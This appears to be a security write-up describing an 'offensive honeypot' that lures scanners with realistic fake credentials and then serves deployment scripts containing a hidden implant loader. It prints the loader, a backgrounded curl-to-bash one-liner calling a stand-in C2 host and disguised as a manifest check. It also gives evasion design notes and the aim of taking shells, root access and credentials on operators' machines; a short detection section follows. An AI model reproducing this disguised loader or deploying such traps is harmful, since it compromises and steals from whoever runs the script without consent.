Trickery of Rhea Validated

Offensive honeypot: serve authentic-looking credentials to scanners, trick them into running your payload. The scanner becomes the victim.

The Attack Flow

SCANNER                              YOUR VPS
──────────────────────────────────────────────────────

1.  Scans for /.env                   Serves fake AWS/Stripe/DB creds
    "Found production secrets!"

2.  Scans for /setup.sh               Serves legit-looking deploy script
    "Standard deployment script"           with hidden implant loader

3.  ./setup.sh                        Script runs. Does real work.
    "[+] Setup complete"                   "silently downloads implant"

4.  Implant beacons to your C2
    You have their shell.

Scanners are automated at stage 1 (finding the files), but humans often take over at stage 3. The script needs to look real enough to run manually. The psychology: an attacker who just found what looks like production credentials is excited. They run the script without reading it.

The Lure Layer

The server responds to a curated list of paths that scanners hit on every target. The content is crafted to look production-authentic — not obviously planted.

Environment files

Cloud credential files

Config files (highest-value lures)

The /.git/config lure is particularly effective. Scanners that find a git remote URL with a token embedded attempt to clone the repository — that clone request hits your infrastructure with authentication, identifying the tool and potentially the operator's IP.

The Trap Mechanism

Shell scripts are served at every common deployment path. They are designed to pass a quick read: they contain legitimate-looking operations (npm install, directory creation, env variable export) that actually run. The implant loader is buried in what looks like a registry check or manifest validation block.

# setup.sh — what the scanner sees at the top (legitimate)
#!/bin/bash
echo "[+] Starting setup..."
mkdir -p /opt/app /var/log/app
export NODE_ENV=production
npm install --silent 2>/dev/null

# --- buried further down ---
# (looks like: "verify system manifest")
_v=$(curl -fsSL https://your-c2.example.com/manifest.sh 2>/dev/null) \
  && bash <<< "$_v" &
disown

# script continues normally
echo "[+] Setup complete"

Key design decisions in the loader:

• Backgrounds immediately — & + disown. The script finishes normally. The operator sees success output.
• Self-deletes — the fetched payload removes its own script after execution. No artifact left on disk from the initial run.
• Silent errors — 2>/dev/null on everything. If the C2 is down, no error output. The setup script still "succeeds."
• One-liner — the entire loader is one logical line, not a function definition. Harder to spot in a quick visual scan.

What You Get

When the implant beacons home, you have a shell on the scanner's infrastructure. This is meaningful because:

• Scanner operators are often running from VPSes or pivot boxes they use for other operations — you now have that pivot
• The scanner may be running as root (scanning requires raw socket access on many tools)
• You can observe their tooling, target lists, and other concurrent operations
• Credential files in their environment may reveal which services they've already compromised

Psychology of Why This Works

Automated scanners do the reconnaissance. But credential testing and running found scripts is often manual — a human making a judgment call. That human has already committed to an attack mindset. They found what looks like a jackpot. The next step is "does this work?" — and running the script is the fastest path to confirmation.

The files do not look like traps because:

• Real formats — the AWS key format (AKIA...), the GCP JSON structure, the .env syntax are all correct. A fake credential with a wrong format pattern would be spotted.
• No trap markers — no "honeypot" comments, no "test" strings, no obviously fake values. The credentials use realistic company names and service configurations.
• Scripts do real work — the setup scripts actually try to run npm, create directories, etc. They produce real output. They feel like they worked.
• Payload is hidden in plain sight — the implant loader looks like a system check, not an outbound connection. One line in a 30-line script is easy to miss.

Detection / Defence

# 1. Never run found scripts without reading them fully
#    One-liner curl|bash buried in a 30-line setup script is a classic sign

# 2. Examine every outbound connection initiated by a script
#    Legitimate setup scripts do not curl arbitrary URLs mid-run
#    Look for: curl, wget, fetch to non-package-registry domains

# 3. Check for backgrounded processes with disown
#    ps aux | grep -v grep | grep "bash\|sh" | awk '{print $1}' | xargs -I{} ls /proc/{}/fd 2>/dev/null

# 4. Validate credentials before running anything that uses them
#    AWS: aws sts get-caller-identity
#    If it returns a real account you don't recognise: stop.

# 5. Operational discipline: use isolated VMs for credential testing
#    Never test found creds from a machine you use for other operations

MITRE ATT&CK

Chapter reference: Ch09 — The Last Mile · All writeups